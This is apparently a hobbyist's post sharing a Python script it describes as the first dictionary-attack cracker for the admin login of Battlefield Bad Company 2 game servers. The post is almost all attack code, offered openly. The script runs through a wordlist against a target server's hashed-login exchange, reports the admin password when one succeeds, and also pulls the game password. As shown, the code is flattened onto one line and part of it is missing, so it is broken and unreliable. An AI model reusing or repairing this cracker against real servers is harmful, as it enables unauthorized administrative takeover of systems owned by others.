This is a test script I wrote one night when I was bored to launch a dictionary attack against Battlefield Bad Company 2 gameservers… Possibly a bit buggy and not very well commented… Interestingly, as far as I know this was the first ever cracker for it. It was written in the same week the game was released.
CODE:
#!/usr/bin/env/python import socket import binascii import string import hashlib import sys from optparse import OptionParser from struct import * # The following functions are taken from Dice's CommandConsole.py demo application def EncodeHeader(isFromServer, isResponse, sequence): header = sequence & 0x3fffffff if isFromServer: header += 0x80000000 if isResponse: header += 0x40000000 return pack(' 0: print "Opening Socket... ", sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.connect( (server, port) ) sock.setblocking(1) sendQue = EncodeClientRequest( [ "login.hashed" ] ) sock.send(sendQue) saltresponse = sock.recv(4096) [fromserver, response, sequence, data] = DecodePacket(saltresponse) if data[0] != 'OK': print "Whoops, we've encountered an error with the server..." sys.exit(0) salt = data[1].decode('hex') if verbose > 0: print "Grabbing salt... Got salt " + data[1] hash = generatePasswordHash(salt, word) hashstring = string.upper(hash.encode("hex")) if verbose > 0: print "Trying %s hashed as %s" % (word, hashstring) sendQue = EncodeClientRequest( [ "login.hashed", hashstring ] ) hashresponse = sock.recv(4096) [fromserver, response, sequence, data] = DecodePacket(hashresponse) if data[0] == "OK": sendQue = EncodeClientRequest( [ "vars.gamePassword" ] ) sock.send(sendQue) sock.recv(4096) gamePassResponse = sock.send(sendQue) [fromserver, response, sequence, data] = DecodePacket(gamePassResponse) if len(data) > 1: print "\tSUCCESS! The admin password found is \"%s\", in addition the game password is \"%s\"" % (word, data[1]) else print "\tSUCCESS! The admin password found is \"%s\"" % word sendQue = EncodeClientRequest( [ "quit" ] ) sock.send(sendQue) foundPass = 1 if sock is not None: sock.close() break if sock is not None: sock.close() except EOFError, KeyboardInterrupt: pass except socket.error, detail: print "Network Error: ", detail[1] except: raise dictfile.close() if foundPass < 1: print "Oh why bother, its pointless anyway..." def main(): parser = OptionParser("\nUsage: %prog [options] [victim]") #\n\nOptions\n -d | --dict\t\t- Dictionary to use\n -p | --port\t\t- Admin Port\n -c | --change\t- Change Password\n -v | --verbose\t- Verbose output") parser.add_option("-d", "--dict", dest="dictionaryfile", help="Dictionary (wordlist) file to use.", metavar="FILE") parser.add_option("-p", "--port", type="int", dest="portnumber", help="Servers administration port.") #parser.add_option("-c", "--change", type="string", dest="newpass", help="Change the password.") parser.add_option("-v", "--verbose", action="store_true", dest="verbosity", help="Enable verbose (debug) output.") (options, arguments) = parser.parse_args() if len(arguments) > 1: parser.error("Please only specify a single server...") elif len(arguments) < 1: parser.error("Please specify a server...") elif options.portnumber == None: parser.error("Please specify a port...") elif options.dictionaryfile == None: parser.error("Please provide an input dictionary...") else: crackthatwhip(arguments[0], options.portnumber, options.dictionaryfile, options.verbosity) if __name__ == "__main__": main()